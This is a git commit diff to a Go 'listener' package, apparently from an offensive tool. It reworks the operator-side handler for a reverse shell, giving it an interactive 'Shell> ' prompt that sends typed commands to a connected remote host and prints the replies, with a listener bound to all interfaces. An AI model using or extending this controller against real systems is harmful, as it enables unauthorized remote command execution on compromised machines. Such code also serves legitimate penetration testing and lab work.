updated prompt logic

This commit is contained in:
Vomitblood 2025-01-24 11:17:20 +08:00
parent 2dd7fa386f
commit 0847b677bc

View file

@ -1,6 +1,7 @@
package listener
import (
"bufio"
"fmt"
"io"
"net"
@ -13,18 +14,26 @@ func handleConnection(conn net.Conn) {
fmt.Println("Connection established. Interacting with reverse shell...")
fmt.Println("Press enter once if prompt does not show up.")
for {
var cmd string
fmt.Scanln(&cmd)
// Use bufio.NewReader for more interactive input handling
reader := bufio.NewReader(os.Stdin)
// send the command to the reverse shell
_, err := conn.Write([]byte(cmd + "\n"))
for {
// Read command input interactively from the user
fmt.Print("Shell> ")
cmd, err := reader.ReadString('\n') // Read until Enter is pressed
if err != nil {
fmt.Println("Error reading command:", err)
return
}
// Send the command to the reverse shell
_, err = conn.Write([]byte(cmd))
if err != nil {
fmt.Println("Error sending command:", err)
return
}
// read the response from the reverse shell
// Read the response from the reverse shell
buf := make([]byte, 1024)
n, err := conn.Read(buf)
if err != nil && err != io.EOF {
@ -32,7 +41,7 @@ func handleConnection(conn net.Conn) {
return
}
// print the reverse shell output
// Print the reverse shell output
fmt.Print(string(buf[:n]))
}
}
@ -48,7 +57,7 @@ func startListener(lhost, lport string) {
fmt.Printf("Listening for reverse shell on %s:%s...\n", lhost, lport)
// accept incoming connections and handle them
// Accept incoming connections and handle them
for {
conn, err := listener.Accept()
if err != nil {
@ -56,13 +65,13 @@ func startListener(lhost, lport string) {
continue
}
// handle the connection in a new goroutine
// Handle the connection in a new goroutine
go handleConnection(conn)
}
}
func Listen(lport string) {
// listen on everything, lazy
// Listen on everything, lazy
lhost := "0.0.0.0"
startListener(lhost, lport)